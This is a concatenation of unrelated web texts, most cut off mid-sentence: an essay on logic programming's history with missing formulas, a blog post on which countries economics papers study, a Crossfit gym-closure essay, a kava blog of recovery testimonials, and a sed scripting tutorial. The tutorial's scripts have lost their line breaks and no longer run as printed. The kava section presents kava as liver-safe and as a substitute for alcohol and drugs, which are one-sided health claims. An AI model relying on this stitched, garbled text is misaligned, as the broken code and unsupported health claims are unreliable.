The way Senner tells it, and his readers love him for it, is that there was a continuous forward movement. This certainly makes for a good story. But it does not recognize the fact that the received view of history is only as recent as the Tens. What I'm now asking the reader to imagine, Senner's book in hand, what the situation of logic programming must have looked like in the mid Zeroes. I think you will agree that Senner's story of a relentless march forward is an artifact of 20/20 hindsight.
Let us imagine it is 2004, to pick a representative year in the mid Zeroes. The great contributions of the Nineties are known; they were even widely celebrated. But were they known, in 2004, as contributions to logic programming? Senner, of course, does not say so. But he makes it easy to overlook the fact that in 2004 nobody seemed to recognize as such the contributions of the Nineties to logic programming. Let us consider three of these contributions here: the XML movement, the compilation/execution model based on virtual machines, and constraint programming.
The XML movement, which arose from the World-Wide Web in the mid Nineties, can be characterized as exploiting the tree as universal datastructure. We now view this as a useful further stage in a development that started in the early Seventies. But if you would have whispered "Colmerauer" into the ear of an XML devotee, you would have met with a blank stare. Following it up with a heavy hint like "Prolog" wouldn't change anything.
Nor were the few remaining logic programmers excited by the XML movement. They regarded it as part of the big, bad, ugly outside world that had robbed them of their lawful place in the limelight. From their point of view, XML and all its works was only something to reluctantly accommodate with yet another ad hoc interface, not something to be embraced as a tree technology to serve as the foundation of a new version of Prolog. From our present vantage point it is difficult to imagine how compartmentalized computing was at the time.
From our vantage point, the year 2004 is indeed a year of delicious ironies. XSLT was already gathering a following, with its adherents discovering that one could do all kinds of computational tasks as transformations on (XML) trees. Working from the other side, Yeow, working with WAM experts Horspool and Levy, had shown in a 2002 paper that parts of the WAM design could be used for a much faster XML parser. Yet the penny had not dropped.
Another innovation in which the Prolog of the Eighties was hopelessly far ahead of its time was execution via a virtual machine. At the time, Prolog advocates pointed out that when Prolog returns the answer to the user in 100 milliseconds, it is irrelevant that a lower-level implementation executes in 10 milliseconds. To no avail. The very fact that Prolog was ``interpreted'' marked it as unfit for the ``real world''.
One of the great contributions of the Nineties was the ``real world'' discovering the advantages of the compilation/execution model of WAM based Prolog in the form of the Java Virtual Machine1. Perhaps in some quarters it was still somewhat suspect, SUN being a notoriously innovative company. The last doubts disappeared when this model was adopted for by a company that stood far above any suspicions of innovativity.
The third important development of the Nineties is constraint programming. Here especially Senner fails to give a sense of the many fumbling steps that were taken towards the software architecture of logic programming that we now take for granted. Indeed, we now take it so much for granted that a brief tutorial on the basics may be needed.
In the mid Seventies, it was customary to distinguish "Prolog" from "Pure Prolog". The latter was almost the same as the use of SLD resolution with Horn clause programs. In Pure Prolog one can perform transformations of trees containing symbolic values only. Counting and arithmetic have to be simulated by such symbolic computation. To allow access to the processor's arithmetic, Colmerauer and Roussel had already added extra-logical features to Pure Prolog. Though this resulted in a practical language, it made it difficult to characterize the class of program-query pairs that yield logical consequences.
Colmerauer himself would probably not have agreed to this analysis of Prolog. For him Prolog was not part of logic programming. For him Pure Prolog was not an inviolable given just because it was resolution theorem-proving. He clarified his position by showing that Pure Prolog itself should be decomposed by regarding unification as constraint-solving over terms. The immediate use of this was to clarify the controversy over the occurrence check in unification. Colmerauer showed that constraint solving over finite terms (which are the constituents of Herbrand universes) corresponds to unification with occurrence check. He presented a unification algorithm that is more efficient by omitting the occurrence check and showed that this algorithm can be viewed as constraint solving over rational terms.
Let us denote by constraint programming over a structure S. embraces not only a structure in the sense of model theory (consisting of a carrier, constant elements, constants, relation symbols, function symbols), but also a system of efficiently representable sets of values and efficiently computable contraction operators for the constraints.
A good way to illustrate the distinction between and S is to consider the structure R of the reals. Constraint programming over R adds to R a system of selecting certain sets of reals as efficiently representable as intervals. It also adds contraction operators for these intervals corresponding to constraints over the reals such as the ternary sum constraint x + y = z and the ternary product constraint x x y = z.
Similarly the structure of ground Herbrand terms can be enriched by adding a system for efficiently representing certain sets of ground terms. The preferred system is to use a term to represent the set of its variable-free instances. This efficiently represents a sufficiently rich repertoire of sets of ground terms. The constraint is equality and the efficiently computable contraction operator is unification. This gives. The same method, but starting with the structure of rational ground terms gives.
The deconstruction of Pure Prolog suggested by Colmerauer's work would now be written as:
Colmerauer was more interested in
and was not concerned with the fact that it is not a form of resolution theorem proving.
Colmerauer's work in the late Seventies was concerned with justifying unification without the occurrence check. The deconstruction of Pure Prolog is implied. It was made explicit by Jaffar and Lassez in their CLP Scheme. It is for this reason that the core that remains of Pure Prolog after separating unification is called "Schematic Prolog". The CLP Scheme explicitly allows the addition of any number of constraint programming structures to Schematic Prolog. For example,
( 1 )
is an interesting Prolog, as it uses the techniques of interval arithmetic to obtain a logically sound method for the approximate solution of equations over the reals. The answer constraints are in the form of membership of intervals with floating point numbers as bounds. This soundness of these answers is not affected by the inevitable rounding errors that occur in the computation of these answers. By incorporating machine arithmetic into Prolog in this way, an important motivation for the extra-logical features of the original Prolog had disappeared.
By 2004 several important CP structures were known. We already mentioned,, and. Finite-domain constraints fit in this framework. The representable sets include the entire powerset. The constraints are equality, disequality, and. We call the resulting system. Boolean constraints were well known. Although constraint programming over integers had played an important role since CHIP, it was still not soundly implemented because integer overflow invalidated the result if it occurred. But of course, plus the unary integer constraint in principle made available. Thus, in 2004, there were no obstacles to a Prolog that extends (1) by including also,,, and.
Yet the only forms of Prolog that existed at the time were basically the Prolog that emerged in the Seventies. The innovations beyond that were restricted to implementation in WAM. The connection to constraint programming only existed by Prolog being a front-end to CP implementations. The software and logic architecture suggested by the equation was still to come. So much for Senner's suggestion of the development of Prolog as a relentless march forward. A decade went by before the great advances of the Nineties to logic programming were recognized as such and exploited accordingly. It must have been a dark decade in which XML, virtual machines, and constraint programming wandered around aimlessly, unaware of their true destiny.
A Possible Future History of Logic Programming
This document was generated using the LaTeX2 HTML translator Version 2002-2-1 (1.70)
Copyright © 1993, 1994, 1995, 1996, Nikos Drakos, Computer Based Learning Unit, University of Leeds.
Copyright © 1997, 1998, 1999, Ross Moore, Mathematics Department, Macquarie University, Sydney.
The command line arguments were:
latex2html -verbosity 3 -split 0 -no_navigation -antialias -antialias_text -html_version 4.0,math -dir van_emden_html4 van_emden.tex
The translation was initiated by Sandro Etalle on 2004-01-20
Footnotes
1 Is it a coincidence that Tim Lindholm, a big contributor to Quintus's WAM implementation, reappeared to play a similar role in JVM?
Sandro Etalle 2004-01-20IN THIS week’s print edition, we show that economists are besotted with America. From 1985 to 2005 over 35,000 economics papers focused on America; fewer than 20,000 focused on Europe and Central Asia combined. There were fewer than 1,000 papers that dealt with countries in the Middle East and North Africa.
The authors of a recent paper* (older, non-paywall version), led by an economist from the World Bank, set out to explain the results. Surprisingly, they conclude that America is not a special case. For the vast majority of countries, there is a strong positive relationship between per-capita income and the extent of empirical research on that country. And larger countries are the focus of more research.
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So the difference, say, between South Africa (721 published papers) and Niger (20 papers) is down to disparities in population and income. The same goes for India’s relatively healthy 1093 papers, compared to Bangladesh’s less impressive 284 papers.
America is rich and has a large population. Therefore it reports far more publications than smaller countries with similar per-capita incomes.
However, when we focus on five heavy-hitting journals (the American Economic Review, Econometrica, the Journal of Political Economy, the Quarterly Journal of Economics and the Review of Economic Studies) things change. Visually the imbalance is more severe:
This time, America is an outlier. The authors control for population and income, but papers focused on America are significantly more likely to be published in the "top five" journals. And after accounting for the fact that lots of great universities are located in America, the bias remains.
On the flip side, the data show that economics pretty much ignores a rather large number of countries. Not a single economics paper was written about 37 countries from 1985-2005:
The authors (and we) worry when economic research spends so little time on the world’s poorest countries. Bussing in wonkish economists is no panacea for the world's ills; but evidence-based policy cannot get off the ground until the economics profession changes its ways.
* Jishnu Das, Quy-Toan Do, Karen Shaines, Sowmya Srikant “U.S. and them: The Geography of Academic Research” (2013) Journal of Development Economics
Volume 105, 112–130.“Everyone in the neighborhood rejoices?” or “A bunch of meatheads have to look for something else to talk about?” you’re probably thinking. You’re right, there’s a tremendous and well-deserved reputation for Crossfit gyms to be full of braggadocios who are constantly throwing around jargon like “WOD,” “PR,” “AMRAP,” and the like. The Crossfit experience has definitely bred these things into members, but what it’s also bred is what’s given rise to the cultish following: fitness, healthy habits, weight loss.
I can already feel your eyes rolling at your computer screen, but before you dodge out of this article I want to try and make a case for why Crossfit gets talked about so much by members, why they seem to have it wrapped so much into their respective identities, and why humorously rejoicing at the closing of a gym may be the biggest tragedy.
According to some estimates the average American’s body fat percentage is 15%-20% above the healthy ceiling, somewhere in the 35-40% range. The Center for Disease Control recommends that the average American between the ages of 18 and 64 should be getting 150 minutes of moderate exercise (brisk walking, jogging, etc.) and 75 minutes of vigorous activity (lifting weights, calisthenics, vigorous sports, etc.) per week. That’s 225 total minutes of exercise a week, or about 30-35 minutes a day. Despite this recommendation it will come as no surprise to anyone reading this that most Americans fall dismally short of this amount, a study by the US Census bureau showed the average American gets 17 minutes of moderate exercise per day. Again, just brisk walking qualifies. Most Americans are obese, sedentary, and have no idea what their bodies are capable of.
Enter Crossfit, a gym that makes a promise that if you show up, give 100%, and learn the movements you too can become fit, strong, and healthy. How do you know it works? Because look at all the hard bodies around the gym!
To someone who has bounced in and out of diets, workout routines, personal trainers, goals that have been set and broken, and the shame of carrying around a potentially unsightly amount of extra weight, becoming a part of a community that supports you, meets you where you’re at, gives you encouragement and friendship during your fight through the limits you’ve carried around with you for years, and all the while showing you over and over again that your body is capable of so much more than you thought, Crossfit becomes a topic worth talking about. Most adult Crossfitters are not the meathead nut-jobs that are conjured up when the word “Crossfit” is heard, they’re moms, accountants, computer programmers, hair stylists, and seniors. The gym I belonged to had exactly this kind of clientele.
When someone sees those pounds they’ve carried around for years disappear while they watch their body do things it hasn’t done since they were a teenager, or ever, something changes in who that person is.
Crossfit isn’t like other gyms. The community, the group of people who go regularly get to know one another because they’re all doing the same workouts, going through the same pain and the same growth. That group of people shares a common language of fitness, they sweat together, they see one another’s faults, one another’s strengths, and are there to push one another beyond where they thought they could go. Please forgive them if they can’t shut the hell up about it.
It’s a promise, a commitment, it’s a give-and-take in the way that all strong, healthy relationships are. If you show up, and give your all, we’ll be here for you. If you push as hard as you can, and fight with us, we’ll fight with you.
In the gym I frequented I saw grandparents get mobility back they hadn’t had in decades, morbidly obese people see their bodies transform; people become who they always wanted to be. That’s not just “exercising” or “fitness,” it’s a kind of health that goes beyond the body. The lesson someone learned at our gym was that they could become who they wanted, they could change their life. All they had to do was put in the effort. All things were possible with effort.
So when our coaches gathered the classes together earlier this week and broke the news that our gym was closing, it wasn’t just sad. It wasn’t just inconvenient. It was like hearing a friend you’ve grown with, spent time with, learned from, tell you he was leaving you. You cared about that friend, he made you better, he helped you become who you are, he didn’t give up on you when you gave up on yourself. You planned your life and included him in it. Now he’s leaving.
When a Crossfit gym closes promises get broken.
The small town of Manistee, Michigan, where I’ve decided to spend my winter (I know, I’m insane for picking the coldest, snowiest place to stay during the coldest, snowiest time of the year), is miles away from the next town. The reasons for the closure were never fully explained, but things were cited such as rezoning, financial issues, and an attempt to incorporate our gym, a satellite gym, with the main gym in the next town, forty-five minutes away. Whatever they were the result was the same: people felt betrayed, lost.
“We’re orphans now,” was a common thing heard around the gym.
When a Crossfit gym closes there are a lot of questions. Where do I go now? How do I come up with my own workouts? What should I do? The resources the gym provided were suddenly disappearing, leaving everyone on their own.
The commitment to fitness becomes even more challenging in the absence of a battleground of health. For a small west Michigan town the options are limited. The gym occupied a space that was both business and social service. Here there is little incentive to do much else in the winter but sit and get wasted. Showing up to Crossfit once a day became a ritual, and like all good rituals it gave one’s time meaning. Without a space that meaning disappears, and we become like a congregation without a church.
If you’ve ever felt that Crossfit might be a cult this is why: it was a kind of communion. You entered, it asked something of you, you gave something, sacrificed something, and you came out changed. For my little west Michigan gym of a few dozen, we’re now trying to make sense of what seems like a crisis of faith.
In the end, the commitment to health isn’t just a personal one, it’s a public one. Health is a personal habit, but it’s also a community habit. Good communities are bound together through shared responsibilities, shared accountability and interwoven support. This is what makes the whole greater than the sum of its parts. Regardless of how much of a punchline Crossfit might seem to you, our west Michigan gym was the hub of these interwoven layers of support and responsibility. Without it we all found ourselves alone. That’s what happens when a Crossfit gym closes.
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This post originally appeared at Writtalin.Kava is increasingly getting a positive name in the global wellness community as a supplement that can bring a variety of health benefits. More positive mentions of kava in the first few weeks of 2017 have backed up strong interest in kava last year; all the indications are that the kava industry is on the upturn. There are so many articles about what has been researched and studied about kava.
In this blog post we bring a new perspective on kava as a supplement. We have compiled 4 insightful and inspiring stories on how kava has saved the lives of 4 individuals. This is an article you need to read if you are wondering whether kava supplements can help you.
Online articles always talk about studies and research and are rarely relatable to readers. One such place to get relatable information is through online communities which share a common interest. If you didn't already know, there is a large community of kava consumers online who have a platform known as Kava Forums. This is a great platform to join if you are seeking to get answers to any question you may have about kava. There are a lot of welcoming, experienced, passionate and supportive members in the Forum who provide great words of wisdom. We are also part of this great online community and have collected some of the following relatable stories from the website to share with people who want to know if kava can really improve or save their lives.
Bob's Struggle with Alcohol Addiction
"Hopefully this helps anyone contemplating using kava as route to freedom from daily drinking. My story is simple and typical. I'm 48 now. Was never worse than a weekend warrior for many years. Something changed in my 30's and I became a daily drinker. Not the 1-2 beers a day drinker. A 3-4 beers + close half a fifth of bourbon per day drinker.
I was functional. Always went to work. Rarely had a bad hangover. But was a slave to daily drinking. By 6pm my mouth was dry for the first drink. If I was working late or had to do something before I got home the craving would be front and center until I could get home and get relief. My father was an evening scotch drinker his entire adult life. Same kind of drinker as me. Everyday maintenance with roughly the same amount. I knew it was a problem for years because I couldn't go a day without drinking but I also knew my life wasn't spinning out of control so I could easily live with it.
During a routine physical in May of 2015 I got the news that my liver enzymes were out of whack and had to get an ultrasound. I was pretty nervous to be honest. All those years of drinking coming to a head with health problems. Not the type of news anyone wants to hear. Thankfully it was "only" stage 1 mild fatty liver. I confessed my drinking to my doctor (of course I never mentioned it before) and the plan of action was to abstain for 3 months and retest. Quitting was pretty easy after the first week. It's not hard to be motivated when you get a warning shot that your liver can't handle your habits. I lost weight, ate right, exercised, and got a clean bill of health 3 months later.
I swore I would never drink again. Then I thought I could drink moderately on occasion. Then I thought I could have 2 glasses of wine per day. Then I thought I could only drink bourbon on the weekends. The slippery slope of lying to myself and regressing right back to square 1. It happens so easily to countless people with drinking problems. For some of us there is no middle ground. We either drink or we don't. If we do drink we have to get a "fix" and not a taste. It's a progressive problem/disease. Once you cross a line you are never the same. I crossed the line about 12-15 years ago. It is what it is and I'm good with it.
For those who haven't crossed the line...stay the hell away from it. If you see yourself fast approaching the point of no return then do everything in your power to stay away. If you quit because you think you have a problem and then start again but slip from moderation to excessive then you have all the evidence you need that you have progressed to point where alcohol controls you and not the other way around. If drinking in moderation brings you no pleasure and you always crave more but fight it...you have crossed the line so stop fighting moderation and stop drinking.
At least for me going cold turkey is pretty easy at first. Uncomfortable? Heck yea. Unmanageable? not really. After a week of fighting bad sleep and irritability things start feeling pretty normal with one exception. My 6-9pm "witching hour" is scribed into my mental code. Those cravings never left during my long sober stint in 2015. The cravings came and I pushed them aside. After 9pm or so I'm good to go. After my protracted 4 month relapse I took my last drink about a month ago. I realized I fell completely down the slippery slope and that is exactly where I swore I would never be again 15 months ago.
I'm always honest with myself. I like "altered states". I’ve done plenty of stuff in my past which I thankfully grew completely out of over the years. But I couldn't shake alcohol. Could I live a completely sober life from all substances forever? Yea I probably could but again, being completely honest...I really don't want to. I like to unwind at the end of the day with something other than reality. A break from it all. I have 4 kids and a complicated job. Letting it all go at the end of the day feels good. No two ways around it.
I researched kava last year during my sober spell. The liver scare articles turned me away. I already had a stressed liver. No sense adding to it. This time around I did more research and quickly realized I fell victim to half-truths and misinformation. It's hardly a surprise though. The reputation of what has been consumed for hundreds or thousands of years by millions of people with no known risk to the liver was tarnished by pharmaceutical and supplement companies in just a few short years. The strong message I saw after researching the second time was stick with noble and stick with traditional and don't worry about anything.
I ordered various roots from trusted online vendors. My first package arrived Thursday last week. I had low expectations because of the reverse tolerance thing. Heh, I'm a lucky one. No RT for me. I downed 2 shells in 30 minutes and sat on the couch. Oh boy did that feel good. I chose heady to start and I felt it for sure. Nice waves of relaxation and slight euphoria with zero cravings to drink. It was 6pm and I was feeling great without drinking.
The next 4 nights were a perfect repeat. I get the heady/heavy thing now. Heavy isn't good for pre-dinner for me but is works great as a night cap. I had a test on Sunday watching my NFL team. I drank 2 shells right before the game and felt fantastic. No beer cravings whatsoever. I'm still very early into my kava drinking experiment but the initial results are FAR better than I anticipated. I honestly believe I have personally found a perfect substitute for alcohol. It's even better in some important ways. A good dose lasts a long time and you aren't chasing the buzz like with drinking. Great sleep and easy waking are pretty nice too. We'll see how things go over the next month but I'm pretty encouraged right now.
Does kava deliver an exact replacement for alcohol? Absolutely not. It's not nearly that strong. Does it deliver a feeling pleasurable enough to replace alcohol? For me, 100% yes. I don't need to get hammered. I just need a pleasurable altered state of mind to be satisfied. And I get that. My biggest problem with alcohol was a very high tolerance. 4 beers meant nothing to me. It took the bourbon on top to get the job done right.
One thing I have contemplated is that it's probably best for a heavy drinker to get away from drinking for a week or 2 before trying Kava. Give your body a chance to adjust and heal a little without alcohol. Kava is subtle enough that it won't cure the acute heavy cravings that occur during the first week or 2. That may discourage some people. Also, getting through RT (Reverse Tolerance) could be a challenge. It would take time and patience. Someone who is fresh off of booze probably isn't going to have time or patience to work through an experiment. My best guess to be successful is to commit to not drinking first, give yourself some straight sober time, and then use kava to help keep you sober"
Ilovekava23's solution to Benzo and Drug Addiction
"I was a very bad off junky, heavily addicted to heroin, meth, and benzos (like xanax). I've been sober for 1 year now, but as someone who is only 23 years old I yearn for some fun every now and then and feel as if everyone around me my age still can go out and drink and have fun, if I drink I get drunk and end up blacking out and coming too with drugs in my system. Kava allowed me to be social, get out of my bubble, and have a great time with friends in the way that I'm guessing most people use alcohol to do.
Kava is the only substance I have ever took that didn't make me want to run away from my problems and self medicate. Kava helps me so much with Social Anxiety Disorder, and General Anxiety Disorder. It helps me with my crippling depression, and has enhanced my life so, so very much. I never crave drugs anymore, if I'm in a bad mood or had a terrible day, I just have a cup of kava.
My life has never been better and alot of it was from me working on myself, but kava has helped me so very much in keeping myself good and clean. I'm so glad to have found kava, as it holds a very dear place in my
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now in the pattern buffer d } '/$1/' { # a match - get last line x # print it p # get the original line back x # print it p # get the next line n # print it p # now add three dashes as a marker a\ --- # now put this line into the hold buffer x }'
Click here to get file: grep3.sh
You could use this to show the three lines around a keyword, i.e.:
grep3 vt100 </etc/termcap
The "x" command exchanges the hold buffer and the pattern buffer. Both are changed. The "h" command copies the pattern buffer into the hold buffer. The pattern buffer is unchanged. An identical script to the above uses the hold commands:
#!/bin/sh # grep3 version b - another version using the hold commands # if there is only one argument, exit case $# in 1);; *) echo "Usage: $0 pattern";exit;; esac; # again - I hope the argument doesn't contain a / # use sed -n to disable printing sed -n''/$1/'!{ # put the non-matching line in the hold buffer h } '/$1/' { # found a line that matches # append it to the hold buffer H # the hold buffer contains 2 lines # get the next line n # and add it to the hold buffer H # now print it back to the pattern space x # and print it. p # add the three hyphens as a marker a\ --- }'
Click here to get file: grep3a.sh
The "H" command allows you to combine several lines in the hold buffer. It acts like the "N" command as lines are appended to the buffer, with a "
" between the lines. You can save several lines in the hold buffer, and print them only if a particular pattern is found later.
As an example, take a file that uses spaces as the first character of a line as a continuation character. The files /etc/termcap, /etc/printcap, makefile and mail messages use spaces or tabs to indicate a continuing of an entry. If you wanted to print the entry before a word, you could use this script. I use a "^I" to indicate an actual tab character:
#!/bin/sh # print previous entry sed -n'/^[ ^I]/!{ # line does not start with a space or tab, # does it have the pattern we are interested in? '/$1/' { # yes it does. print three dashes i\ --- # get hold buffer, save current line x # now print what was in the hold buffer p # get the original line back x } # store it in the hold buffer h } # what about lines that start # with a space or tab? /^[ ^I]/ { # append it to the hold buffer H }'
Click here to get file: grep_previous.sh
You can also use the "H" to extend the context grep. In this example, the program prints out the two lines before the pattern, instead of a single line. The method to limit this to two lines is to use the "s" command to keep one new line, and deleting extra lines. I call it grep4:
#!/bin/sh # grep4: prints out 4 lines around pattern # if there is only one argument, exit case $# in 1);; *) echo "Usage: $0 pattern";exit;; esac; sed -n''/$1/'!{ # does not match - add this line to the hold space H # bring it back into the pattern space x # Two lines would look like.*
.* # Three lines look like.*
.*
.* # Delete extra lines - keep two s/^.*
\(.*
.*\)$/\1/ # now put the two lines (at most) into # the hold buffer again x } '/$1/' { # matches - append the current line H # get the next line n # append that one also H # bring it back, but keep the current line in # the hold buffer. This is the line after the pattern, # and we want to place it in hold in case the next line # has the desired pattern x # print the 4 lines p # add the mark a\ --- }'
Click here to get file: grep4.sh
You can modify this to print any number of lines around a pattern. As you can see, you must remember what is in the hold space, and what is in the pattern space. There are other ways to write the same routine.
Instead of exchanging the hold space with the pattern space, you can copy the hold space to the pattern space with the "g" command. This deletes the pattern space. If you want to append to the pattern space, use the "G" command. This adds a new line to the pattern space, and copies the hold space after the new line.
Here is another version of the "grep3" command. It works just like the previous one, but is implemented differently. This illustrates that sed has more than one way to solve many problems. What is important is you understand your problem, and document your solution:
#!/bin/sh # grep3 version c: use 'G' instead of H # if there is only one argument, exit case $# in 1);; *) echo "Usage: $0 pattern";exit;; esac; # again - I hope the argument doesn't contain a / sed -n''/$1/'!{ # put the non-matching line in the hold buffer h } '/$1/' { # found a line that matches # add the next line to the pattern space N # exchange the previous line with the # 2 in pattern space x # now add the two lines back G # and print it. p # add the three hyphens as a marker a\ --- # remove first 2 lines s/.*
.*
\(.*\)$/\1/ # and place in the hold buffer for next time h }'
Click here to get file: grep3c.sh
The "G" command makes it easy to have two copies of a line. Suppose you wanted to the convert the first hexadecimal number to uppercase, and don't want to use the script I described in an earlier column
#!/bin/sh # change the first hex number to upper case format # uses sed twice # used as a filter # convert2uc <in >out sed's/ /\ /' | \ sed'{ y/abcdef/ABCDEF/ N s/
/ / }'
Click here to get file: convert2uc.sh
Here is a solution that does not require two invocations of sed:
#!/bin/sh # convert2uc version b # change the first hex number to upper case format # uses sed once # used as a filter # convert2uc <in >out sed'{ # remember the line h #change the current line to upper case y/abcdef/ABCDEF/ # add the old line back G # Keep the first word of the first line, # and second word of the second line # with one humongous regular expression s/^\([^ ]*\).*
[^ ]* \(.*\)/\1 \2/ }'
Click here to get file: convert2uc1.sh
Carl Henrik Lunde suggested a way to make this simpler. I was working too hard.
#!/bin/sh # convert2uc version b # change the first hex number to upper case format # uses sed once # used as a filter # convert2uc <in >out sed'{ # remember the line h #change the current line to upper case y/abcdef/ABCDEF/ # add the old line back G # Keep the first word of the first line, # and second word of the second line # with one humongous regular expression s/.* / / # delete all but the first and last word }'
Click here to get file: convert2uc2.sh
This example only converts the letters "a" through "f" to upper case. This was chosen to make the script easier to print in these narrow columns. You can easily modify the script to convert all letters to uppercase, or to change the first letter, second word, etc.
As you learn about sed you realize that it has its own programming language. It is true that it's a very specialized and simple language. What language would be complete without a method of changing the flow control? There are three commands sed uses for this. You can specify a label with an text string preceded by a colon. The "b" command branches to the label. The label follows the command. If no label is there, branch to the end of the script. The "t" command is used to test conditions. Before I discuss the "t" command, I will show you an example using the "b" command.
This example remembers paragraphs, and if it contains the pattern (specified by an argument), the script prints out the entire paragraph.
#!/bin/sh sed -n'# if an empty line, check the paragraph /^$/ b para # else add it to the hold buffer H # at end of file, check paragraph $ b para # now branch to end of script b # this is where a paragraph is checked for the pattern :para # return the entire paragraph # into the pattern space x # look for the pattern, if there - print /'$1'/ p '
Click here to get file: grep_paragraph.sh
You can execute a branch if a pattern is found. You may want to execute a branch only if a substitution is made. The command "t label" will branch to the label if the last substitute command modified the pattern space.
One use for this is recursive patterns. Suppose you wanted to remove white space inside parenthesis. These parentheses might be nested. That is, you would want to delete a string that looked like "( ( ( ())) )." The sed expressions
sed's/([ ^I]*)/g'
would only remove the innermost set. You would have to pipe the data through the script four times to remove each set or parenthesis. You could use the regular expression
sed's/([ ^I()]*)/g'
but that would delete non-matching sets of parenthesis. The "t" command would solve this:
#!/bin/sh sed':again s/([ ^I]*)// t again '
An earlier version had a 'g' after the's' expression. This is not needed.
Click here to get file: delete_nested_parens.sh
The 'l' command will print the pattern space in an unambiguous form. Non-printing characters are printed in a C-style escaped format.
This can be useful when debugging a complex multi-line sed script.
There is one way to add comments in a sed script if you don't have a version that supports it. Use the "a" command with the line number of zero:
#!/bin/sh sed'/begin/ { 0i\ This is a comment\ It can cover several lines\ It will work with any version of sed }'
Click here to get file: sed_add_comments.sh
There is one more sed command that isn't well documented. It is the ";" command. This can be used to combined several sed commands on one line. Here is the grep4 script I described earlier, but without the comments or error checking and with semicolons between commands:
#!/bin/sh
sed -n '
'/$1/'!{;H;x;s/^.*
\(.*
.*\)$/\1/;x;}
'/$1/' {;H;n;H;x;p;a\
---
}'
Click here to get file: grep4a.sh
Yessireebob! Definitely character building. I think I have made my point. As far as I am concerned, the only time the semicolon is useful is when you want to type the sed script on the command line. If you are going to place it in a script, format it so it is readable. I have mentioned earlier that many versions of sed do not support comments except on the first line. You may want to write your scripts with comments in them, and install them in "binary" form without comments. This should not be difficult. After all, you have become a sed guru by now. I won't even tell you how to write a script to strip out comments. That would be insulting your intelligence. Also - some operating systems do NOT let you use semicolons. So if you see a script with semicolons, and it does not work on a non-Linux system, replace the semicolon with a new line character. (As long as you are not using csh/tcsh, but that's another topic.
In the earlier scripts, I mentioned that you would have problems if you passed an argument to the script that had a slash in it. In fact, regular expression might cause you problems. A script like the following is asking to be broken some day:
#!/bin/sh sed's/'"$1"'//g'
If the argument contains any of these characters in it, you may get a broken script: "/\.*[]^$" For instance, if someone types a "/" then the substitute command will see four delimiters instead of three. You will also get syntax errors if you provide a "]" without a "]". One solution is to have the user put a backslash before any of these characters when they pass it as an argument. However, the user has to know which characters are special.
Another solution is to add a backslash before each of those characters in the script
#!/bin/sh arg=`echo "$1" | sed's:[]\[\^\$\.\*\/]:\\\\&:g'` sed's/'"$arg"'//g'
Click here to get file: sed_with_regular_expressions1.sh
If you were searching for the pattern "^../," the script would convert this into "\^\.\.\/" before passing it to sed.
Dealing with binary characters can be trick, expecially when writing scripts for people to read. I can insert a binary character using an editor like EMACS but if I show the binary character, the terminal may change it to show it to you.
The easiest way I have found to do this in a script in a portable fashion is to use the tr(1) command. It understands octal notations, and it can be output into a variable which can be used.
Here's a script that will replace the string "ding" with the ASCII bell character:
#!/bin/sh BELL=`echo x | tr 'x' '\007'` sed "s/ding/$BELL/"
Please note that I used double quotes. Since special characters are interpreted, you have to be careful when you use this mechanism.
One of the conventions UNIX systems have is to use single letters are command line arguments. This makes typing faster, and shorted, which is an advantage if you are in a contest. Normal people often find sed's terseness cryptic. You can improve the readability of sed scripts by using the long word equivalent options. That is, instead of typing
sed -n 20p
sed --quiet 20p
sed --silent 20p
You can type the long word version of the -n argumentOr
The long form of sed's command line arguments always have 2 hyphens before their names. GNU sed has the following long-form command line arguments:
GNU Command Line Arguments Short Form Long Form -n --quiet --silent -e script --expression=SCRIPT -f SCRIPTFILE --file=SCRIPTFILE -i[SUFFIX] --in-place[=SUFFIX] -l N --line-length=N
--posix -b --binary
--follow-symlinks -r --regular-extended -s --separate -u --unbuffered
--help
--version
Let's define each of these.
The GNU version of sed has many features that are not available in other versions. When portability is important, test your script with the -posix option. If you had an example that used a feature of GNU sed, such as the 'v' command to test the version number, such as
#this is a sed command file v 4.0.1 # print the number of lines $=
sed -nf sedfile --posix <file
sed: -e expression #1, char 2: unknown command: `v'
And you executed it with the commandthen the GNU version of sed program would give you a warning that your sed script is not compatible. It would report:
You can determine which version of sed you are using with the GNU sed --version command. This is what it outputs on my computer
# sed --version GNU sed version 4.2.1 Copyright (C) 2009 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE, to the extent permitted by law. GNU sed home page: <http://www.gnu.org/software/sed/>. General help using GNU software: <http://www.gnu.org/gethelp/>. E-mail bug reports to: <[email protected]>. Be sure to include the word ``sed'' somewhere in the ``Subject:'' field.
The -h option will print a summary of the sed commands. The long argument of the command is
sed --help
It provides a nice summary of the command line arguments.
I've already described the 'l' command. The default line width for the 'l' command is 70 characters. This default value can be changed by adding the '-l N' option and specifying the maximum line length as the number after the '-l'.
sed -n -l 80 'l' <file
sed -n --line-length=80 'l' <file
The long form version of the command line is
Normally, when you specify several files on the command line, sed concatenates the files into one stream, and then operates on that single stream. If you had three files, each with 100 lines, then the command
sed -n '1,10 p' file1 file2 file3
#!/bin/sh FILES=$* sed -s -n '$=' $FILES # print the number of lines for each file sed -n '$=' $FILES # print the total number of lines.
#!/bin/sh for F in "$@" do NL=`sed -n '$=' < "$F" ` && printf " %d %s
" $NL "$F" done TOTAL=`sed -n '$=' "$@"` printf " %d total
" $TOTAL
would only print the first 10 lines of file file1. The '-s' command tells GNU sed to treat the files are independent files, and to print out the first 10 lines of each file, which is similar to the head command. Here's another example: If you wanted to print the number of lines of each file, you could use 'wc -l' which prints the number of lines, and the filename, for each file, and at the end print the total number of lines. Here is a simple shell script that does something similar, just using sed:The 'wc -l' command does print out the filenames, unlike the above script. A better emulation of the 'wc -l' command would execute the command in a loop, and print the filenames. Here is a more advanced script that does this, but it doesn't use the '-s' command:
I've already described in Editing multiple files the way I like to do this. For those who want a simpler method, GNU Sed allows you to do this with a command line option - "-i". Let's assume that we are going to make the same simple change - adding a tab before each line. This is a way to do this for all files in a directory with the ".txt" extension in the current directory:
sed -i's/^/\t/' *.txt
sed --in-place's/^/\t/' *.txt
sed -i.tmp's/^/\t/' *.txt
sed --in-place=.tmp's/^/\t/' *.txt
The long argument name version isThis verison deletes the original file. If you are as cautious as I am, you may prefer to specify an extension, which is used to keep a copy of the original:And the long argument name version isIn the last two versions, the original version of the "a.txt" file would have the name "a.txt.tmp". You can then delete the original files after you make sure all worked as you expected. Please consider the backup option, and heed my warning. You can easily delete the backed-up original file, as long as the extension is unique.
